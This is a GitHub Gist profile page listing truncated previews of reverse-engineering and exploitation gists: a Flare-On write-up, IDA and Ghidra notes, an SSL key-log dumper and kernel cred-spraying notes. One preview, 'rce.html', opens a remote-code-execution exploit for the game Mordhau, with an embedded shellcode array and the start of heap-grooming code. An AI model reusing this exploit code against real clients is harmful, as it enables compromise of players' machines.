Skip to content

Instantly share code, notes, and snippets.

View aweMinchoo's full-sized avatar

aweMinchoo aweMinchoo

View GitHub Profile
@aweMinchoo
aweMinchoo / flare-on-12-write-up.md
Created October 28, 2025 14:42 — forked from superfashi/flare-on-12-write-up.md
Flare-On 12 Write-Up

Flare-On 12 Write-up

Screenshot_25-10-2025_3368_flare-on12.ctfd.io


1 - Drill Baby Drill!

We are given a game written in Python. Once again, the source code is given because this is the first and easiest challenge, so let's dig into it directly.

@aweMinchoo
aweMinchoo / demo.c
Created April 11, 2024 03:29 — forked from mistymntncop/demo.c
NtWaitForDebugEvent + WaitForMultipleObjects
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>
#include "nt_crap.h"
#define ArrayCount(arr) (sizeof(arr)/sizeof(arr[0]))
#define assert(expr) if(!(expr)) { *(char*)0 = 0; }
@aweMinchoo
aweMinchoo / hint_calls.py
Created March 18, 2024 14:09 — forked from Dump-GUY/hint_calls.py
Modified version of Willi Ballenthin IDA Plugin hint_calls.py ported to support Python2/3 and IDA>=7.4 (tested IDA 7.7, 8.4)
'''
IDA plugin to display the calls and strings referenced by a function as hints.
Installation: put this file in your %IDADIR%/plugins/ directory.
Author: Willi Ballenthin <[email protected]>
Licence: Apache 2.0
'''
import idc
import idaapi
import idautils

ELF Format Cheatsheet

Introduction

Executable and Linkable Format (ELF), is the default binary format on Linux-based systems.

ELF

Compilation

@aweMinchoo
aweMinchoo / _deobfuscating-unminifying-obfuscated-web-app-code.md
Created January 18, 2024 10:32 — forked from 0xdevalias/_deobfuscating-unminifying-obfuscated-web-app-code.md
Some notes and tools for reverse engineering / deobfuscating / unminifying obfuscated web app code
@aweMinchoo
aweMinchoo / ghidra_configuration.md
Created January 17, 2024 06:59 — forked from you0708/ghidra_configuration.md
自分的 Ghidra のオススメ設定

自分的 Ghidra のオススメ設定

IDA に比べて初期設定では使いづらい Ghidra において、変更すべき設定をまとめます。 以下はすべて Edit -> Tool Options の項目に分けて記載しています。

Edit -> Tool Options

Key Bindings

  • Previous Function in History -> ESC
  • 戻るを "ESC" に
@aweMinchoo
aweMinchoo / rce.html
Created May 5, 2023 16:50
RCE for Mordhau (host it on your server MOTDURL to test)
<script>
var shellcode = [0xe48348fc,0x00c0e8f0,0x51410000,0x51525041,0xd2314856,0x528b4865,0x528b4860,0x528b4818,0x728b4820,0xb70f4850,0x314d4a4a,0xc03148c9,0x7c613cac,0x41202c02,0x410dc9c1,0xede2c101,0x48514152,0x8b20528b,0x01483c42,0x88808bd0,0x48000000,0x6774c085,0x50d00148,0x4418488b,0x4920408b,0x56e3d001,0x41c9ff48,0x4888348b,0x314dd601,0xc03148c9,0xc9c141ac,0xc101410d,0xf175e038,0x244c034c,0xd1394508,0x4458d875,0x4924408b,0x4166d001,0x44480c8b,0x491c408b,0x8b41d001,0x01488804,0x415841d0,0x5a595e58,0x59415841,0x83485a41,0x524120ec,0x4158e0ff,0x8b485a59,0xff57e912,0x485dffff,0x000001ba,0x00000000,0x8d8d4800,0x00000101,0x8b31ba41,0xd5ff876f,0xa2b5f0bb,0xa6ba4156,0xff9dbd95,0xc48348d5,0x7c063c28,0xe0fb800a,0x47bb0575,0x6a6f7213,0x89415900,0x63d5ffda,0x00636c61]
var arraybuffer = new ArrayBuffer(20);
flag = 0;
function gc(){
for(var i=0;i<0x100000/0x10;i++){
new String;
/**
* Android, iOS (12.0-15.7.3), Linux universal SSLKEYLOG dumper.
*
* Usage:
*
* # For iOS and mac:
* rvictl -s [UDID]
* # Then open Wireshark and select rvi0
*
* # For iOS and not mac:
@aweMinchoo
aweMinchoo / spray_cred.md
Created December 4, 2022 03:36 — forked from ameetsaahu/spray_cred.md
Cred spraying techniques

Using capset

// Thanks to @pqlqpql
#include <linux/io_uring.h>
#include <sys/capability.h>
#include <sys/syscall.h>

struct user_cap_data_struct {
    uint32_t effective;
    uint32_t permitted;